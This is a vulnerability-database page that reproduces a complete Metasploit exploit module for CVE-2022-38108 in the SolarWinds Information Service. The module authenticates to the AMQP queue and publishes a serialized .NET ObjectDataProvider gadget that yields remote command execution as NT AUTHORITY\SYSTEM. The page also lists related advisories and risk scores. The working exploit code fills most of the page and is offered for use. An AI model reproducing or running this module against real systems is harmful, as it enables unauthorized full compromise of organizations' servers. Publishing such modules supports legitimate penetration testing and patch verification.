Lucene search
K

SolarWinds Information Service (SWIS) Remote Command Execution

🗓️ 28 Mar 2023 00:00:00Reported by Spencer McIntyre, Piotr B, Justin Hong, Lucas Miller, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 241 Views

SolarWinds SWIS RCE via AMQP deserializatio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SolarWinds Information Service (SWIS) Remote Command Execution Exploit
28 Mar 202300:00
zdt
Circl
CVE-2022-38108
21 Oct 202209:13
circl
CNNVD
SolarWinds Platform 代码问题漏洞
20 Oct 202200:00
cnnvd
CVE
CVE-2022-38108
20 Oct 202220:11
cve
Cvelist
CVE-2022-38108 SolarWinds Platform Deserialization of Untrusted Data
20 Oct 202220:11
cvelist
Metasploit
SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE
29 Mar 202319:50
metasploit
NVD
CVE-2022-38108
20 Oct 202221:15
nvd
OSV
CVE-2022-38108
20 Oct 202221:15
osv
Prion
Deserialization of untrusted data
20 Oct 202221:15
prion
Positive Technologies
PT-2022-24206 · Solarwinds · Solarwinds Platform
20 Oct 202200:00
ptsecurity
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/proto/amqp/version_0_9_1'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
def initialize  
super(  
'Name' => 'SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE',  
'Description' => %q{  
The SolarWinds Information Service (SWIS) is vulnerable to RCE by way of a crafted message received through the  
AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted  
message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITY\SYSTEM.  
},  
'Author' => [  
'Justin Hong', # vulnerability research, Trend Micro  
'Lucas Miller', # vulnerability research, Trend Micro  
'Piotr Bazydło', # vulnerability discovery, reported to ZDI  
'Spencer McIntyre' # metasploit module  
],  
'Arch' => ARCH_CMD,  
'Platform' => 'win',  
'References' => [  
[ 'CVE', '2022-38108' ],  
[ 'URL', 'https://www.zerodayinitiative.com/blog/2023/2/27/cve-2022-38108-rce-in-solarwinds-network-performance-monitor' ],  
[ 'URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2022-38108' ]  
],  
'DefaultOptions' => {  
'WfsDelay' => 10  
},  
'Targets' => [  
[ 'Automatic', {} ]  
],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'DisclosureDate' => '2022-10-19',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
  
register_options([  
Opt::RHOST,  
Opt::RPORT(5671),  
OptString.new('USERNAME', [true, 'The username to authenticate with', 'orion']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with', ''])  
])  
  
register_advanced_options(  
[  
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]),  
Opt::SSLVersion  
]  
)  
end  
  
def peer  
rhost = datastore['RHOST']  
rport = datastore['RPORT']  
if Rex::Socket.is_ipv6?(rhost)  
"[#{rhost}]:#{rport}"  
else  
"#{rhost}:#{rport}"  
end  
end  
  
def print_status(msg)  
msg = "#{peer} - #{msg}"  
super  
end  
  
def exploit  
amqp_client = Rex::Proto::Amqp::Version091::Client.new(  
datastore['RHOST'],  
port: datastore['RPORT'],  
context: { 'Msf' => framework, 'MsfExploit' => self },  
ssl: datastore['SSL'],  
ssl_version: datastore['SSLVersion']  
)  
  
unless amqp_client.login(datastore['USERNAME'], datastore['PASSWORD'])  
fail_with(Failure::NoAccess, "Authentication failed for user #{datastore['USERNAME']}.")  
end  
print_status('Successfully connected to the remote server.')  
  
channel = amqp_client.channel_open  
vprint_status('Successfully opened a new channel.')  
channel.basic_publish(  
routing_key: 'SwisPubSub',  
message: ::Msf::Util::DotNetDeserialization.generate(  
payload.encoded,  
gadget_chain: :ObjectDataProvider,  
formatter: :JsonNetFormatter  
),  
properties: {  
message_type: 'System.Windows.Data.ObjectDataProvider'  
}  
)  
print_status('Successfully published the message to the channel.')  
  
channel.close  
amqp_client.connection_close  
rescue Rex::Proto::Amqp::Error::UnexpectedReplyError => e  
fail_with(Failure::UnexpectedReply, e.message)  
rescue Rex::Proto::Amqp::Error::AmqpError => e  
fail_with(Failure::Unknown, e.message)  
ensure  
amqp_client.close  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Mar 2023 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.2
EPSS0.88632
SSVC
241